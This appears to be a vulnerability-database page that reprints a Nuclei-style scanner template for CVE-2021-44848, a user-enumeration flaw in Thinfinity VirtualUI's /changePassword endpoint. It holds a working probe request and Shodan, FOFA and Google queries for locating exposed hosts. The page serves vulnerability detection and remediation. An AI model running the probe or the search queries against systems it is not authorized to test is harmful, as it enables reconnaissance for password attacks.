CVE-2021-44848: Thinfinity VirtualUI User Enumeration

日期: 2025-08-01 | 影响软件: Thinfinity VirtualUI | POC: 已公开

漏洞描述

Thinfinity VirtualUI (before v3.0), /changePassword returns different responses for requests depending on whether the username exists. It may enumerate OS users (Administrator, Guest, etc.)

PoC代码[已公开]

id: CVE-2021-44848

info:
  name: Thinfinity VirtualUI User Enumeration
  author: danielmofer
  severity: medium
  description: Thinfinity VirtualUI (before v3.0), /changePassword returns different responses for requests depending on whether the username exists. It may enumerate OS users (Administrator, Guest, etc.)
  impact: |
    An attacker can use the gathered usernames for further attacks, such as brute-forcing passwords or launching targeted phishing campaigns.
  remediation: |
    Apply the vendor-supplied patch or upgrade to the latest version of Thinfinity VirtualUI to mitigate the user enumeration vulnerability.
  reference:
    - https://github.com/cybelesoft/virtualui/issues/1
    - https://nvd.nist.gov/vuln/detail/CVE-2021-44848
    - https://www.tenable.com/cve/CVE-2021-44848
    - http://packetstormsecurity.com/files/165327/Cibele-Thinfinity-VirtualUI-2.5.41.0-User-Enumeration.html
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2021-44848
    cwe-id: CWE-203
    epss-score: 0.47202
    epss-percentile: 0.9762
    cpe: cpe:2.3:a:cybelesoft:thinfinity_virtualui:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: cybelesoft
    product: thinfinity_virtualui
    shodan-query: http.title:"thinfinity virtualui"
    fofa-query: title="thinfinity virtualui"
    google-query: intitle:"thinfinity virtualui"
  tags: cve2021,cve,exposure,thinfinity,packetstorm,virtualui,tenable,cybelesoft

http:
  - raw:
      - |
        GET /changePassword?username=administrator HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - '"rc":(.*?)'
          - '"msg":"(.*?)"'
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a004730450221008595456343ff18a622a17f49eaa871c06102a7dc8438f3fd2c9a7d06e07a787f02206caaebb6924960cd800a09bf1c590931b307dbac84f1ba3f92d272d2e4f24779:922c64590222798bb761d5b6d8e72950